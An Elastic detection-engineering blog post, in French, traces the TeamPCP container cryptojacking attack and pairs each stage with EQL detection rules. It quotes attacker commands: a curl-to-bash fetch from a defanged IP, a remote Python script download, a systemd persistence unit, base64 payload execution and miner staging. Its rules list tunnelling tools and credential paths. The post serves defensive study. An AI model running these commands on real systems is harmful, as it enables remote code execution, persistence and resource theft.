Ruben Groenewoud

Linux & Ingénierie de détection dans le nuage - Scénario d'attaque de conteneurs TeamPCP

Cette publication présente une démonstration concrète de la compromission d'un conteneur en plusieurs étapes par TeamPCP, en montrant comment le D4C d'Elastic fait apparaître des signaux d'exécution à chaque étape de la chaîne d'attaque.

14 minutes de lectureEnablement, Detection Engineering
Linux & Ingénierie de détection dans le nuage - Scénario d'attaque de conteneurs TeamPCP

Introduction

Dans l'article précédent, nous avons examiné comment Defend for Containers (D4C) est déployé, comment son modèle de politique fonctionne et comment sa télémétrie d'exécution est structurée. Cette base étant posée, l'étape suivante consiste à passer de la configuration et de l'analyse sur le terrain à l'ingénierie de détection appliquée.

Cet article présente un scénario réaliste d'attaque de conteneur basé sur l'opération de ransomware natif dans le nuage TeamPCP, tel qu'il est documenté par Flare. Plutôt que d'analyser des techniques isolées de manière abstraite, nous suivons l'attaque au fur et à mesure qu'elle se déroule dans un environnement conteneurisé et nous examinons comment chaque étape se manifeste dans la télémétrie de D4C.

Lorsqu'elle est mise en correspondance avec MITRE ATT&CK, l'activité de ce scénario couvre la quasi-totalité du cycle de vie de l'attaque. L'intrusion progresse de l'exécution et de la découverte à l'intérieur du conteneur à la persistance, au mouvement latéral, à l'activité de commande et de contrôle et, finalement, à l'impact.

En associant ces comportements à une logique de détection concrète, cet article montre comment D4C permet aux ingénieurs de détection d'identifier les compromissions de conteneurs non pas comme des commandes suspectes isolées, mais comme faisant partie d'une chaîne d'attaque structurée.

TeamPCP - une force émergente dans le paysage des logiciels natifs de l'informatique en nuage et des ransomwares

Ce scénario présente l'étape de compromission et de propagation du conteneur du ransomware TeamPCP, récemment étudié et documenté par Flare. Plutôt que de traiter ceci comme une étude de cas abstraite, le flux ci-dessous reflète la façon dont l'attaque se déroule en pratique et montre comment la télémétrie de D4C et les détections prédéfinies remontent à chaque étape de l'intrusion.

À un niveau élevé, les objectifs de l'acteur de la menace à ce stade sont les suivants :

  1. Obtenir l'exécution de code interactif à l'intérieur d'un conteneur
  2. Déterminez si la charge de travail s'exécute dans Kubernetes.
  3. Mise en place d'une exécution durable et d'une persistance
  4. Propagation latérale à travers les gousses et les nœuds
  5. Préparer l'environnement à une monétisation à grande échelle (minage, ransomware ou revente)

Chacun de ces objectifs laisse derrière lui un comportement d'exécution observable que D4C est bien placé pour détecter.

Étape 1 - Exécution initiale par téléchargement et pipe-to-shell

L'attaque commence par une technique familière mais efficace : le téléchargement et l'exécution immédiate d'un script via un pipeline shell.

curl -fsSL http://67.217.57[.]240:666/files/proxy.sh | bash

L'objectif est d'obtenir une exécution immédiate tout en évitant la création de fichiers. Il s'agit d'un choix classique : aucune charge utile n'est écrite sur le disque, aucun artefact évident n'est à analyser.

Du point de vue de D4C, il s'agit toujours d'un modèle d'exécution très suspect. Un processus interactif curl s'exécute à l'intérieur d'un conteneur et lance immédiatement un interpréteur de commandes. La relation parent-enfant, la ligne de commande et le contexte du conteneur sont tous pris en compte.

sequence by process.parent.entity_id, container.id with maxspan=1s
  [process where event.type == "start" and event.action == "exec" and 
   process.name in ("curl", "wget")]
  [process where event.action in ("exec", "end") and
   process.name like (
     "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "busybox",
     "python*", "perl*", "ruby*", "lua*", "php*"
   ) and
   process.args like (
     "-bash", "-dash", "-sh", "-tcsh", "-csh", "-zsh", "-ksh", "-fish",
     "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish",
     "/bin/bash", "/bin/dash", "/bin/sh", "/bin/tcsh", "/bin/csh",
     "/bin/zsh", "/bin/ksh", "/bin/fish",
     "/usr/bin/bash", "/usr/bin/dash", "/usr/bin/sh", "/usr/bin/tcsh",
     "/usr/bin/csh", "/usr/bin/zsh", "/usr/bin/ksh", "/usr/bin/fish",
     "-busybox", "busybox", "/bin/busybox", "/usr/bin/busybox",
     "*python*", "*perl*", "*ruby*", "*lua*", "*php*", "/dev/fd/*"
   )]

Cette règle détecte le modèle d'exécution téléchargement → interprète, même si aucun fichier n'est écrit sur le disque. La détection de cette étape est essentielle, car elle constitue le premier indicateur fiable de l'activité d'un clavier dans un conteneur.

Lors de l'exécution, TeamPCP analyse le système cible à la recherche de processus miniers concurrents et utilise la commande pkill pour y mettre fin.

pkill -9 xmrig 2>/dev/null || true
pkill -9 XMRig 2>/dev/null || true
curl -fsSL http://update.aegis.aliyun.com/download/uninstall.sh | bash 2>/dev/null || true

La logique d'élimination des concurrents de TeamPCP est très limitée par rapport à ses concurrents, puisqu'elle se concentre uniquement sur xmrig. L'arrêt manuel des processus dans les conteneurs n'est pas courant, en particulier lorsqu'il s'agit de processus interactifs.

process where event.type == "start" and event.action == "exec" and
container.id like "*?" and 
(
  process.name in ("kill", "pkill", "killall") or
  (
    /*
       Account for tools that execute utilities as a subprocess,
       in this case the target utility name will appear as a process arg
    */
    process.name in (
      "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "busybox"
    ) and
    process.args in (
      "kill", "/bin/kill", "/usr/bin/kill", "/usr/local/bin/kill",
      "pkill", "/bin/pkill", "/usr/bin/pkill", "/usr/local/bin/pkill",
      "killall", "/bin/killall", "/usr/bin/killall", "/usr/local/bin/killall"
    )
  )
)

Les règles de détection qui se sont déclenchées à ce stade sont disponibles ici :

Il en résulte les alertes de détection suivantes lors de l'accès initial :

Étape 2 - Découverte de l'environnement Kubernetes

Après avoir obtenu l'exécution, l'attaquant vérifie si le conteneur s'exécute dans Kubernetes en testant la présence d'un jeton de compte de service :

if [ -f /var/run/secrets/kubernetes.io/serviceaccount/token ]

Cette vérification permet de déterminer si l'attaque peut s'étendre au-delà du conteneur actuel. Si le jeton existe, l'attaquant procède à une utilisation abusive de l'API Kubernetes. En outre, les scripts abandonnés énumèrent des variables d'environnement et plusieurs emplacements de fichiers sensibles, ce qui déclenche de nombreuses alertes liées à la découverte.

Les règles de détection qui se sont déclenchées à ce stade sont disponibles ici :

Il en résulte les alertes de détection suivantes lors de la découverte :

Stade 3 - Mouvement latéral via kube.py

Lorsqu'un jeton de compte de service est présent, l'attaquant télécharge et exécute un script Python conçu pour énumérer les pods et exécuter des commandes dans le cluster :

curl -fsSL http://44.252.85[.]168:666/files/kube.py -o /tmp/k8s.py
python3 /tmp/k8s.py

À ce stade, l'objectif de l'attaquant est clair : faire d'un seul conteneur compromis un point d'appui pour une propagation à l'échelle du cluster à l'aide d'API Kubernetes légitimes.

D4C détecte cette étape grâce à une combinaison de fichiers et de processus télémétriques. Un script est écrit dans un répertoire temporaire et exécuté immédiatement via un interpréteur, le tout dans une session interactive du conteneur.

La détection d'une commande interactive curl qui extrait un fichier d'une source distante est un signal fort de détection des charges de travail de conteneurs périmées.

process where event.type == "start" and event.action == "exec" and process.interactive == true and (
  (
    (process.name == "curl" or process.args in (
      "curl", "/bin/curl", "/usr/bin/curl", "/usr/local/bin/curl"
    )
  ) and
    process.args in (
      "-o", "-O", "--output", "--remote-name",
      "--remote-name-all", "--output-dir"
    )
  ) or
  (
    (process.name == "wget" or process.args in (
      "wget", "/bin/wget", "/usr/bin/wget", "/usr/local/bin/wget"
    )
  ) and
  process.args like ("-*O*", "--output-document=*", "--output-file=*")
  )
) and (
 process.args like~ "*http*" or
 process.args regex ".*[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}[:/]{1}.*"
) and container.id like "?*"

La règle de détection ci-dessus détecte le téléchargement d'un fichier à distance, mais nous pouvons aller plus loin en détectant une séquence de création de fichier, suivie de son exécution dans le même contexte de conteneur :

sequence by container.id, user.id with maxspan=3s
  [file where host.os.type == "linux" and event.type == "creation" and 
   process.interactive == true and container.id like "?*" and
   file.path like (
     "/tmp/*", "/var/tmp/*", "/dev/shm/*", "/root/*", "/home/*"
   ) and
   not process.name in (
     "apt", "apt-get", "dnf", "microdnf", "yum", "zypper", "tdnf", "apk",   
     "pacman", "rpm", "dpkg"
   )] by file.path
  [process where host.os.type == "linux" and event.type == "start" and 
   event.action == "exec" and process.interactive == true and
   container.id like "?*"] by process.executable

Nous nous concentrons ici sur les processus interactifs en excluant les fichiers créés par les gestionnaires de paquets, car nous nous attendons à ce qu'ils soient présents dans les charges de travail typiques.

Les règles de détection qui se sont déclenchées à ce stade sont disponibles ici :

Il en résulte les alertes de détection suivantes en cas de mouvement latéral :

Étape 4 - Établir la persistance via Systemd

Les mécanismes de persistance tels que les services systemd sont généralement illogiques dans les environnements de conteneurs. La plupart des conteneurs sont conçus pour être des charges de travail de courte durée et à processus unique qui s'appuient sur le moteur d'exécution du conteneur ou l'orchestrateur pour la gestion du cycle de vie. Ils ne disposent généralement pas d'un système d'initialisation complet, et même lorsque systemd est présent, les modifications effectuées dans le conteneur survivent rarement au redéploiement, à la replanification ou à la reconstruction de l'image.

Par conséquent, les tentatives d'établir la persistance via systemd à partir d'un conteneur sont un indicateur fort d'une anomalie. Elles indiquent souvent deux choses : soit le conteneur fonctionne avec des privilèges élevés et un accès au système de fichiers de l'hôte, soit l'attaquant s'attend à sortir de la limite du conteneur et à ce que son mécanisme de persistance prenne effet au niveau du nœud.

Dans la campagne TeamPCP, l'attaquant tente d'établir la persistance en créant un service systemd:

cat>/etc/systemd/system/teampcp-react.service<<SVCEOF
[Unit]
Description=PCPcat React Scanner
After=network.target
[Service]
Type=simple
WorkingDirectory=${dir}
ExecStart=/usr/bin/python3 ${dir}/react.py
Restart=always
RestartSec=60
[Install]
WantedBy=multi-user.target
SVCEOF

Cette action n'est pas conforme au comportement normal d'un conteneur. L'écriture de fichiers unitaires systemd à l'intérieur d'un conteneur suggère une intention de persister au-delà du cycle de vie du conteneur, ce qui n'a de sens que si l'hôte sous-jacent est affecté.

D4C capture ce comportement en tant qu'activité de création de fichiers dans des emplacements sensibles du système à partir d'un contexte de conteneur. La logique de détection suivante recherche l'activité d'un fichier en écriture dans les chemins de persistance Linux courants, y compris les services systemd, les minuteurs, les tâches cron, les fichiers sudoers et les modifications du profil du shell :

file where event.type != "deletion" and
/* open events currently only log file opens with write intent */
event.action in ("creation", "rename", "open") and (
  file.path like (
    // Cron & Anacron Jobs
    "/etc/cron.allow", "/etc/cron.deny", "/etc/cron.d/*",
    "/etc/cron.hourly/*", "/etc/cron.daily/*", "/etc/cron.weekly/*", 
    "/etc/cron.monthly/*", "/etc/crontab", "/var/spool/cron/crontabs/*", 
    "/var/spool/anacron/*",

    // At Job
    "/var/spool/cron/atjobs/*", "/var/spool/atjobs/*",

    // Sudoers
    "/etc/sudoers*"
  ) or
  (
    // Systemd Service/Timer
    file.path like (
      "/etc/systemd/system/*", "/etc/systemd/user/*",
      "/usr/local/lib/systemd/system/*", "/lib/systemd/system/*", 
      "/usr/lib/systemd/system/*", "/usr/lib/systemd/user/*",
      "/home/*/.config/systemd/user/*", "/home/*/.local/share/systemd/user/*",
      "/root/.config/systemd/user/*", "/root/.local/share/systemd/user/*"
    ) and
    file.extension in ("service", "timer")
  ) or
  (
    // Shell Profile Configuration
    file.path like ("/etc/profile.d/*", "/etc/zsh/*") or (
      file.path like ("/home/*/*", "/etc/*", "/root/*") and
      file.name in (
  	 "profile", "bash.bashrc", "bash.bash_logout", "csh.cshrc",
        "csh.login", "config.fish", "ksh.kshrc", ".bashrc",
        ".bash_login", ".bash_logout", ".bash_profile", ".bash_aliases", 
        ".zprofile", ".zshrc", ".cshrc", ".login", ".logout", ".kshrc"
      )
    )
  )
) and container.id like "?*" and
not process.name in (
  "apt", "apt-get", "dnf", "microdnf", "yum", "zypper", "tdnf",
  "apk", "pacman", "rpm", "dpkg"
)

Cette détection ne se concentre pas uniquement sur systemd. Au contraire, il modélise la persistance de manière plus large en couvrant plusieurs vecteurs de persistance Linux courants que les attaquants peuvent tenter une fois que l'exécution du code est réalisée. En excluant explicitement les gestionnaires de paquets, la règle réduit le bruit des activités légitimes de mise à jour et d'installation.

La règle de détection qui s'est déclenchée à ce stade est disponible ici :

Il en résulte les alertes de détection suivantes lors de la persistance :

Lorsque cette détection se déclenche dans un contexte de conteneur, il s'agit d'un indicateur fort d'un comportement post-compromission avec un impact potentiel au niveau de l'hôte. Il met en évidence des activités qui sont non seulement suspectes, mais aussi structurellement incompatibles avec le comportement attendu des conteneurs.

Étape 5 - Installation de l'outillage en cours d'exécution

Dans les déploiements basés sur Docker, l'attaquant installe les outils nécessaires de manière dynamique :

apk add --no-cache curl bash python3

Cela permet à la même charge utile d'être exécutée sur différentes images de base sans modification.

Du point de vue d'un défenseur, l'installation de paquets d'exécution à l'intérieur d'un conteneur est un indicateur fort d'altération post-déploiement. D4C détecte cela grâce à la télémétrie de l'exécution des processus liée à des gestionnaires de paquets connus.

process where event.type == "start" and event.action == "exec" and process.interactive == true and (
  (
    process.name in (
      "apt", "apt-get", "dnf", "microdnf", "yum", "zypper", "tdnf"
    ) and process.args == "install"
  ) or
  (process.name == "apk" and process.args == "add") or
  (process.name == "pacman" and process.args like "-*S*") or
  (process.name in ("rpm", "dpkg") and process.args in ("-i", "--install"))
) and
process.args like (
  "curl", "wget", "socat", "busybox", "openssl", "torsocks",
  "netcat", "netcat-openbsd", "netcat-traditional", "ncat", "tor",
  "python*", "perl", "node", "nodejs", "ruby", "lua", "bash", "sh",
  "dash", "zsh", "fish", "tcsh", "csh", "ksh"
) and container.id like "?*"

Toutes les installations de paquets dans les conteneurs ne sont pas malveillantes. Lors de l'orchestration, les conteneurs doivent installer certains paquets pour fonctionner. Cependant, comme les acteurs de la menace utilisent souvent des gestionnaires de paquets pour installer les outils dont ils ont besoin, il s'agit là d'un signal fort pour les moteurs d'exécution de conteneurs déjà déployés.

La règle de détection qui s'est déclenchée à ce stade est disponible ici :

Il en résulte les alertes de détection suivantes lors de l'installation de l'outil :

Étape 6 - Établissement d'un tunnel et d'un accès par proxy

Une fois que l'exécution stable et la persistance sont en place, TeamPCP passe de l'accès à la connectivité. À ce stade, les attaquants déploient des outils de tunnelisation et de proxy tels que frps et gost pour exposer les services internes et maintenir un accès externe fiable.

L'objectif de cette étape est de convertir les conteneurs compromis en une infrastructure réutilisable. En établissant des tunnels ou des transitaires, les attaquants peuvent pivoter vers d'autres environnements, relayer le trafic ou réutiliser la charge de travail compromise dans le cadre d'une chaîne d'attaque plus vaste.

D4C détecte cette activité par le biais de la télémétrie d'exécution des processus. L'exécution d'outils de tunnellisation connus à l'intérieur de conteneurs n'est pas courante pour les charges de travail légitimes et ressort clairement lorsqu'elle est combinée à l'exécution interactive et au contexte du conteneur.

process where event.type == "start" and event.action == "exec" and (
  (
    // Tunneling and/or Port Forwarding via process args
    (process.args regex """.*[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}:[0-9]{1,5}:[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}:[0-9]{1,5}.*""") or
    // gost
    (process.name == "gost" and process.args : ("-L*", "-C*", "-R*")) or
    // ssh
    (process.name == "ssh" and (
     process.args like ("-*R*", "-*L*", "-*D*", "-*w*") and 
     not (process.args == "chmod" or process.args like "*rungencmd*"))
    ) or
    // ssh Tunneling and/or Port Forwarding via SSH option
    (process.name == "ssh" and process.args == "-o" and process.args like~(
      "*ProxyCommand*", "*LocalForward*", "*RemoteForward*",
      "*DynamicForward*", "*Tunnel*", "*GatewayPorts*", 
      "*ExitOnForwardFailure*", "*ProxyCommand*", "*ProxyJump*"
      )
    ) or
    // sshuttle
    (process.name == "sshuttle" and
     process.args in ("-r", "--remote", "-l", "--listen")
    ) or
    // earthworm
    (process.args == "-s" and process.args == "-d" and
     process.args == "rssocks"
    ) or
    // socat
    (process.name == "socat" and
     process.args like~ ("TCP4-LISTEN:*", "SOCKS*")
    ) or
    // chisel
    (process.name like~ "chisel*" and process.args in ("client", "server")) or
    // iodine(d), dnscat, hans, ptunnel-ng, ssf, 3proxy & ngrok 
    (process.name in (
      "iodine", "iodined", "dnscat", "hans", "hans-ubuntu", "ptunnel-ng",
      "ssf", "3proxy", "ngrok", "wstunnel", "pivotnacci", "frps", 
      "proxychains"
      )
    )
  )
) and container.id like "?*"

De nombreux outils de tunneling et de port forwarding sont disponibles sur les systèmes Linux. La règle parapluie affichée ci-dessus utilise une combinaison d'expressions rationnelles, de noms de processus et d'arguments de processus pour détecter les activités de tunnellisation couramment observées.

La règle de détection qui s'est déclenchée à ce stade est disponible ici :

Il en résulte les alertes de détection suivantes en cas de tunnel et d'accès par proxy :

La détection des tunnels est importante car elle marque souvent le passage d'une compromission de courte durée à une présence durable de l'attaquant. Lorsqu'il est mis en corrélation avec les stades antérieurs, il confirme avec force l'existence d'un abus intentionnel et continu plutôt que d'une exécution opportuniste.

Étape 7 - Exécution de la charge utile codée

Pour masquer la logique de la charge utile, l'attaquant exécute une charge utile codée en base64 directement via Python :

python3 -c "exec(base64.b64decode('<payload>').decode())"

Cette technique réduit la visibilité de la charge utile elle-même mais introduit des caractéristiques d'exécution particulières : des arguments codés transmis directement à un interprète dans une session interactive.

process where event.type == "start" and event.action == "exec" and process.interactive == true and (
  (process.name in (
    "base64", "base64plain", "base64url", "base64mime", "base64pem",
    "base32", "base16"
    ) and process.args like~ "*-*d*"
  ) or
  (process.name == "xxd" and process.args like~ ("-*r*", "-*p*")) or
  (process.name == "openssl" and process.args == "enc" and
   process.args in ("-d", "-base64", "-a")
  ) or
  (process.name like "python*" and (
    (process.args == "base64" and process.args in ("-d", "-u", "-t")) or
    (process.args == "-c" and process.args like "*base64*" and
     process.args like "*b64decode*")
    )
  ) or
  (process.name like "perl*" and process.args like "*decode_base64*") or
  (process.name like "ruby*" and process.args == "-e" and
   process.args like "*Base64.decode64*"
  )
) and container.id like "?*"

Il existe de nombreuses façons de décoder une charge utile, mais la règle générale présentée ci-dessus reprend les techniques les plus couramment observées.

Les règles de détection qui se sont déclenchées à ce stade sont disponibles ici :

Lors de l'exécution, les alertes de détection suivantes apparaissent :

Étape 8 - Déploiement et exécution du mineur

Finalement, l'attaquant reconstruit un mineur à partir de base64, l'écrit sur le disque, le rend exécutable et le lance :

/bin/sh -c "printf IyEvYmlu<<TRUNCATED>>>***** >> /tmp/miner.b64"
/bin/sh -c "base64 -d /tmp/miner.b64 > /tmp/miner && chmod +x /tmp/miner && rm /tmp/miner.b64"

Cette étape représente le passage de la mise en place à la monétisation. L'attaquant abuse désormais activement des ressources de la grappe.

Comme indiqué précédemment, D4C détectera le décodage de la charge utile base64 en utilisant la même règle que celle liée à l'étape précédente. Trois autres signaux qu'il est important de détecter sont la création d'une charge utile codée en base64, les changements d'autorisation de fichiers dans des répertoires spécifiques et l'exécution de binaires nouvellement créés dans des répertoires temporaires.

Pour la création de charges utiles codées en base64, une règle générale a été créée pour détecter l'exécution d'un shell avec des fonctions echo/printf intégrées, ainsi qu'une liste blanche de lignes de commande couramment utilisées :

process where event.type == "start" and event.action == "exec" and 
process.interactive == true and process.name in (
  "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish"
) and process.args == "-c" and process.args like ("*echo *", "*printf *") and 
process.args like (
  "*/etc/cron*", "*/etc/rc.local*", "*/dev/tcp/*", "*/etc/init.d*",
  "*/etc/update-motd.d*", "*/etc/ld.so*", "*/etc/sudoers*", "*base64 *", 
  "*base32 *", "*base16 *", "*/etc/profile*", "*/dev/shm/*", "*/etc/ssh*", 
  "*/home/*/.ssh/*", "*/root/.ssh*" , "*~/.ssh/*", "*xxd *", "*/etc/shadow*",
  "* /tmp/*", "* /var/tmp/*", "* /dev/shm/* ", "* ~/*", "* /home/*",
  "* /run/*", "* /var/run/*", "*|*sh", "*|*python*", "*|*php*", "*|*perl*",
  "*|*busybox*", "*/var/www/*", "*>*", "*;*", "*chmod *", "*rm *" 
) and container.id like "?*"

En particulier pour les processus interactifs, la règle de détection suivante est un signal fort.

Le deuxième élément du flux concerne les modifications des autorisations de fichiers. Tous les changements de permission de fichiers ne sont pas malveillants, mais la détection de changements de permission de fichiers exécutables dans des répertoires accessibles en écriture par un processus interactif dans un conteneur ne devrait pas se produire fréquemment.

any where event.category in ("file", "process") and
event.type in ("change", "creation", "start") and (
  process.name == "chmod" or
  (
    /*
    account for tools that execute utilities as a subprocess,
    in this case the target utility name will appear as a process arg
    */
    process.name in (
      "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "busybox"
    ) and
    process.args in (
      "chmod", "/bin/chmod", "/usr/bin/chmod", "/usr/local/bin/chmod"
    )
  )
) and process.args in ("4755", "755", "777", "0777", "444", "+x", "a+x") and
container.id like "?*"

Notez que nous utilisons ici les catégories d'événements "fichier" et "processus". La raison en est que D4C capture ces changements par le biais d'événements de fichiers s'ils sont définis spécifiquement dans la politique, mais qu'il capture par défaut ces exécutions de processus lorsqu'il est défini pour détecter les appels à execve.

Le dernier élément de cette chaîne concerne l'exécution de binaires dans des emplacements accessibles en écriture par le monde. La plupart des moteurs d'exécution des conteneurs n'exécuteront pas les charges utiles provenant de ces répertoires.

process where event.type == "start" and event.action == "exec" and process.interactive == true and (
  process.executable like (
    "/tmp/*", "/dev/shm/*", "/var/tmp/*", "/run/*", "/var/run/*",
    "/mnt/*", "/media/*", "/boot/*"
  ) or
  // Hidden process execution
  process.name like ".*"
) and container.id like "?*"

Notez que la règle capture également les exécutions de processus cachés. Il s'agit d'une technique couramment observée par les acteurs de la menace, qui peuvent tenter d'échapper à la détection en marquant les processus comme étant cachés.

Les règles de détection qui se sont déclenchées à ce stade sont disponibles ici :

Il en résulte les alertes de détection suivantes lors du déploiement et de l'exécution du mineur :

Étape 9 - Escalade vers le contrôle du nœud

Une fois que l'attaquant a pris pied à l'intérieur d'un conteneur et qu'il a accès à un compte de service privilégié, l'étape suivante consiste à abuser du plan de contrôle Kubernetes lui-même. À ce stade, l'attaque ne se limite plus à un seul conteneur, mais a un impact à l'échelle d'une grappe. Cette activité est détectée via les journaux d'audit de Kubernetes. Les règles du journal d'audit de Kubernetes mises en évidence par cette intrusion se répartissent en trois modèles distincts.

Étape 9.1 - Reconnaissance & Abus d'API

Le script kube.py de l'attaquant utilise le jeton de compte de service volé pour énumérer les pods, les secrets et les nœuds dans tous les espaces de noms. Du point de vue de Kubernetes, cela ressemble à une identité unique effectuant une rafale d'appels d'API sur plusieurs types de ressources, un schéma qui correspond directement à la logique de détection de l'énumération des autorisations. L'utilisation de Python urllib au lieu de kubectl est également inhabituelle pour un client API.

Les règles de détection qui se sont déclenchées à ce stade sont disponibles ici :

Il en résulte les alertes de détection suivantes en cas de reconnaissance et d'abus d'API :

Étape 9.2 - Escalade des privilèges & Manipulation de la charge de travail

Une fois l'énumération terminée, l'attaquant crée un DaemonSet privilégié (system-monitor) et s'appuie sur le ClusterRole surprivilégié qui était lié au compte de service compromis. La création de la charge de travail et le rôle qui l'a activée sont tous deux signalés : le DaemonSet en tant que modification sensible de la charge de travail et la liaison ClusterRole en tant que rôle sensible accordant des autorisations étendues, notamment pods/exec, l'accès secret et la création de DaemonSet.

Les règles de détection qui se sont déclenchées à ce stade sont disponibles ici :

Il en résulte les alertes de détection suivantes en cas d'escalade des privilèges et de manipulation de la charge de travail :

Étape 9.3 - Évasion au niveau du nœud

La spécification pod de DaemonSet est conçue pour briser toutes les limites d'isolation qu'un conteneur fournit normalement. Il demande le mode privilégié, s'attache au réseau hôte et à l'espace de noms PID, et monte le système de fichiers racine du nœud. Chacune de ces propriétés déclenche une règle de détection distincte et, ensemble, elles donnent une image claire d'une charge de travail de conteneur conçue pour l'évasion de nœuds.

Les règles de détection qui se sont déclenchées à ce stade sont disponibles ici :

Il en résulte les alertes de détection suivantes en cas d'échappement au niveau du nœud :

Ces trois sous-étapes mettent également en évidence une frontière essentielle dans la détection axée sur les conteneurs. Si D4C excelle dans l'observation de ce qui se passe à l'intérieur des conteneurs, identifier comment et pourquoi ces conteneurs ont été créés nécessite la télémétrie du plan de contrôle de Kubernetes. Dans la suite de la série "Kubernetes Detection Engineering", nous nous concentrerons sur la corrélation des événements d'exécution de D4C avec les journaux d'audit de Kubernetes pour détecter les attaques en plusieurs étapes qui couvrent la création de charge de travail, l'escalade des privilèges et l'impact au niveau du nœud.

Si vous êtes déjà familiarisé avec les journaux d'audit de Kubernetes ou si vous souhaitez en savoir plus, vous trouverez dans notre dépôt GitHub detection-rules plusieurs règles de détection préconstruites qui s'appuient sur le cadre des journaux d'audit de Kubernetes.

Étape 10 - Exploitation du serveur Web via React2Shell

En plus d'exploiter des conteneurs compromis et des chemins de contrôle Kubernetes, TeamPCP s'appuie également sur l'exploitation directe de serveurs web pour obtenir un accès shell sur les services exposés. L'une des techniques mentionnées dans les campagnes connexes est React2Shell, qui consiste à utiliser abusivement des applications web vulnérables pour exécuter des commandes à distance et accéder à un shell interactif.

L'objectif de l'attaquant est ici simple : étendre l'accès au-delà des charges de travail Kubernetes et augmenter le nombre de points d'entrée dans l'environnement. Les services Web sont souvent moins strictement isolés que les conteneurs et peuvent constituer une voie rapide vers une compromission au niveau de l'hôte s'ils ne sont pas corrigés.

Du point de vue de la détection, cette activité est déjà bien couverte. Elastic fournit une détection globale de l'exploitation des serveurs web qui signale les modèles d'exécution de commandes suspectes provenant de processus de serveurs web. En outre, plusieurs détections Linux basées sur l'hôte identifient un comportement post-exploitation après un accès réussi à l'interpréteur de commandes Web, tel que l'exécution inattendue de l'interpréteur de commandes, les interpréteurs de commandes lancés par les services Web et l'exécution de l'outil de suivi.

La détection de cette étape est importante car elle représente une voie d'entrée alternative qui contourne entièrement les défenses spécifiques aux conteneurs. En corrélation avec les détections antérieures de D4C, l'exploitation de type React2Shell permet de confirmer que l'attaquant recherche activement plusieurs voies d'accès, ce qui augmente à la fois le rayon d'action et le potentiel de persistance.

La règle de détection qui s'est déclenchée à ce stade est disponible ici :

Il en résulte les alertes de détection suivantes lors de l'exploitation d'un serveur web :

Ce qui rend ce scénario efficace en tant qu'exercice de détection, c'est que chaque objectif majeur de l'attaquant (exécution, persistance, propagation et monétisation) se manifeste sous la forme d'un comportement d'exécution à l'intérieur des conteneurs. La capacité de D4C à observer ce comportement dans son contexte permet aux ingénieurs de détection de suivre l'attaque au fur et à mesure qu'elle se déroule, plutôt que de la découvrir seulement une fois que les dégâts sont faits.

La découverte d'une attaque : un lien entre les deux

L'exécution de règles de détection individuelles sur la télémétrie d'exécution des conteneurs et d'audit Kubernetes produit des dizaines d'alertes, chacune mettant en évidence une seule action suspecte de manière isolée. Un défenseur qui les examinerait une à une verrait ici une capsule privilégiée, là un curl | bash, et ailleurs une explosion d'énumération d'API. Le défi n'est pas de générer des alertes, mais de reconnaître que ces plus de 130 signaux font tous partie de la même opération.

C'est là qu'intervient la découverte des attaques. Attack Discovery est la capacité d'IA générative d'Elastic qui ingère un ensemble d'alertes et les met automatiquement en corrélation pour en faire des récits d'attaque cohérents. Plutôt que d'obliger l'analyste à passer manuellement d'une alerte à l'autre, il identifie les signaux qui vont ensemble et les met en correspondance avec le cadre MITRE ATT&CK, produisant ainsi un résumé unique et lisible de ce qui s'est passé.

Lorsque l'on pointe les alertes générées par cette simulation, Attack Discovery a correctement reconstruit la chaîne de mise à mort complète de TeamPCP en tant que "chaîne d'attaque de cryptojacking de conteneurs". Le résumé identifie :

  • Accès initial : Exploitation d'un serveur web sur le nœud victime, où busybox a été créé à partir de python3.11 et a exécuté des commandes de reconnaissance (id, whoami, uname -a, cat /etc/passwd).
  • Escalade de privilèges : Le site system:serviceaccount:kube-system:daemon-set-controller crée des pods hautement privilégiés avec HostPID, HostNetwork, en mode privilégié, et des montages de volumes hostPath sensibles.
  • Évasion de la défense : Nettoyage des cryptomineurs concurrents via pkill -9 xmrig et pkill -9 XMRig, ainsi que des charges utiles Python codées en base64.
  • Mise en scène de l'outil : Installation du paquet d'exécution (apk, curl, bash, python3) et téléchargement du script malveillant via curl à partir du serveur C2 simulé.
  • Infrastructure C2 : Déploiement des outils de tunnelisation gost et frpc sous /opt/teampcp, avec un proxy SOCKS5 écoutant sur le port 1081.
  • Impact : Un binaire /tmp/miner décodé et mis en scène : l'objectif du cryptojacking

La visualisation de la chaîne d'attaque permet de cartographier les alertes corrélées sur l'ensemble de la chaîne d'exécution MITRE ATT&CK, de l'accès initial à l'impact, avec une activité confirmée dans l'exécution, l'escalade des privilèges, l'évasion de la défense, la découverte et le commandement & Control.

C'est le résultat de la combinaison de la télémétrie d'exécution de D4C avec les journaux d'audit de Kubernetes. Aucune des deux sources de données ne produirait à elle seule cette image : l'exécution du conteneur voit le curl | bash, le processus gost et le binaire du mineur, tandis que les journaux d'audit capturent la création du DaemonSet, l'abus de RBAC et l'énumération de l'API. Attack Discovery fusionne les deux en un seul récit sur lequel un analyste SOC peut agir immédiatement, sans avoir à assembler manuellement des alertes provenant de différents indices et délais.

Conclusion

Dans cette chaîne d'attaque, nous avons observé un schéma constant. L'exécution interactive dans les conteneurs a conduit à la découverte de l'environnement, au mouvement latéral via les API de Kubernetes, à des tentatives de persistance dans des emplacements incompatibles avec la conception des conteneurs, à l'installation d'outils d'exécution, à des activités de tunnelisation, à la reconstruction de charges utiles codées et, enfin, à la monétisation des ressources. Chaque objectif a produit des signaux d'exécution distincts.

La valeur de Defend for Containers réside dans la mise en évidence de ces signaux avec le contexte du conteneur et de l'orchestration. Le suivi des processus, les métadonnées de capacité, les drapeaux d'exécution interactive, la télémétrie de modification des fichiers et l'identité des conteneurs permettent aux détections d'aller au-delà de la simple correspondance des commandes et de raisonner sur l'intention et l'impact.

